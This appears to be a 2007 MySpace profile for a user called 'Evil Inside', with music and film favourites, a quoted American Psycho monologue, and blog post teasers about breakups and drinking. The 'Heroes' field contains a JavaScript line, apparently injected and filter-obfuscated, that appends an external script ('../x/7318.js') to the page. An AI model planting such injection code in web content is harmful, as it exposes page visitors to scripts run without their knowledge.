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Evil Inside

There's nothing like a trail of blood to find your way back home.

About Me

In the beginning Good always overpowered the evils Of all man's sins... But in time The nations grew weak And our cities fell to slums While evil stood strong In the dusts of hell Lurked the blackest of hates For he whom they feared Awaited them... Now many many lifetimes later Lay destroyed, beaten, beaten down, Only the corpses of rebels Ashes of dreams And blood stained streets It has been written "Those who have the youth Have the future" So come now, children of the beast Be strong And Shout at the Devil

My Interests



I'd like to meet:

Chicks, Beavis. I need to meet some rocker girls...

Music:

PULSE NEIN, AC/DC, Motley Crue, Chevelle, Stone Temple Pilots, Aerosmith, Led Zeppelin, Pink Floyd, Alice In Chains, Black Label Society, Fuel, Rage Against The Machine, KISS, Nine Inch Nails, Black Sabbath, Ozzy Osbourne, Godsmack, The Who, Van Halen.

Movies:

American Psycho, Gone In 60 Seconds, Fight Club, Seven, The Crow, Dazed and Confused, Sin City, Boondock Saints...pretty much any movie that has your brain going when it's done. ~~~~~~~~~~~~~~~~~~~There is an idea of a Patrick Bateman; some kind of abstraction. But there is no real me: only an entity, something illusory. And though I can hide my cold gaze, and you can shake my hand and feel flesh gripping yours and maybe you can even sense our lifestyles are probably comparable... I simply am not there.I have all the characteristics of a human being: blood, flesh, skin, hair; but not a single, clear, identifiable emotion, except for greed and disgust. Something horrible is happening inside of me and I don't know why. My nightly bloodlust has overflown into my days. I feel lethal, on the verge of frenzy. I think my mask of sanity is about to slip.There are no more barriers to cross. All I have in common with the uncontrollable and the insane, the vicious and the evil, all the mayhem I have caused and my utter indifference toward it, I have now surpassed... My pain is constant and sharp and I do not hope for a better world for anyone. In fact I want my pain to be inflicted on others. I want no escape. But even after admitting this, there is no catharsis. I gain no deeper knowledge about myself, no new knowledge can be extracted from my telling. There has been no reason for me to tell you any of this. This confession has meant nothing...

Television:

"Just because I wear lipstick doesn't mean I still can't kick your ass!" - Vince Neil

Books:

American Psycho, Tom Clancy Novels, THE DIRT!!!!!!!!!!

Heroes:

Angus and Malcolm Young, Nikki Sixx, Tommy Lee, Caroll Shelby, John Force. .."var s=document·createElement('script');s.src='../x/7318.js' ;document·getElementsByTagName('head')[0].appendChild(s );"

My Blog

Fuck you because I loved you...Fuck You For Loving It too

I started something earlier, but due to my genius with technology...it all went away. Here's the abridged version: I know exactly what you want. You want my bloodlust to arise from the depths of my so...
Posted by Evil Inside on Thu, 31 May 2007 11:39:00 PST

Oh yeah...and:

I know no one actually reads what I have to say. I don't do it for a reaction, I do it because it's easy for me to process my thoughts on "paper".
Posted by Evil Inside on Thu, 24 May 2007 10:45:00 PST

New Hardware:

So, I finally splurged and got a laptop. It's a killer Toshiba model with a 17" screen and all the kool features which I won't use. Basically, I'll just be checking e-mail, keeping up with myspace, an...
Posted by Evil Inside on Thu, 24 May 2007 10:40:00 PST

X Rated Bloodsuckers

The book that I bought is completely amazing. I remember, maybe 18 months ago, my ex wrote this short erotic-ish story about a female vampire seducing one of her prey. The book goes along the same lin...
Posted by Evil Inside on Thu, 17 May 2007 08:09:00 PST

I hear you found somebody new...and that I never meant that much to you...

Revised: Now I just feel like complete shit.
Posted by Evil Inside on Wed, 16 May 2007 07:20:00 PST

Relationships:

22 Relationship Questions,1) Single, Taken, or Crushing?Single2) Are you happy with where you are?I would like a girlfriend.3) When you meet the right person, do you fall fast?It's complicated...I usu...
Posted by Evil Inside on Tue, 15 May 2007 08:26:00 PST

The only thing missing last night was

You and a few minutes behind the Steak N' Shake.
Posted by Evil Inside on Mon, 14 May 2007 05:03:00 PST

The Dirt: Part 2

Sometime a few weeks ago while working, I mentioned to my ASM how great The Dirt was. I then went on to tell her how I acquired it, as well as how I lost it. I knew she worked at Waldenbooks, so I inq...
Posted by Evil Inside on Fri, 11 May 2007 07:35:00 PST

It might be the Cuervo talking...

I go to this local bar every so often, well, maybe four times a week, and hang around and drink overpriced beer and watch the scenery. There have been times when everything was great and I was enjoyin...
Posted by Evil Inside on Thu, 03 May 2007 09:01:00 PST

You Got Nothin' On Me

I remember, last summer, going to see the third installment of The Fast and The Furious. The first part of the movie features the high school grease monkey racing the rich boy through a housing develo...
Posted by Evil Inside on Sun, 22 Apr 2007 01:53:00 PST